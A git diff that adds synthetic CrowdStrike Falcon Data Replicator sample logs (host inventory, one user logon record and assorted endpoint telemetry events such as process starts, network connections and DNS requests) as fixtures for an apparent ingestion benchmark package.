+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log
@@ -0,0 +1,5 @@
+{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log
new file mode 100644
index 0000000000..a663f3cdd4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log
@@ -0,0 +1 @@
+{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log
new file mode 100644
index 0000000000..f3d053e28c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log
@@ -0,0 +1,128 @@
+{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
+{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
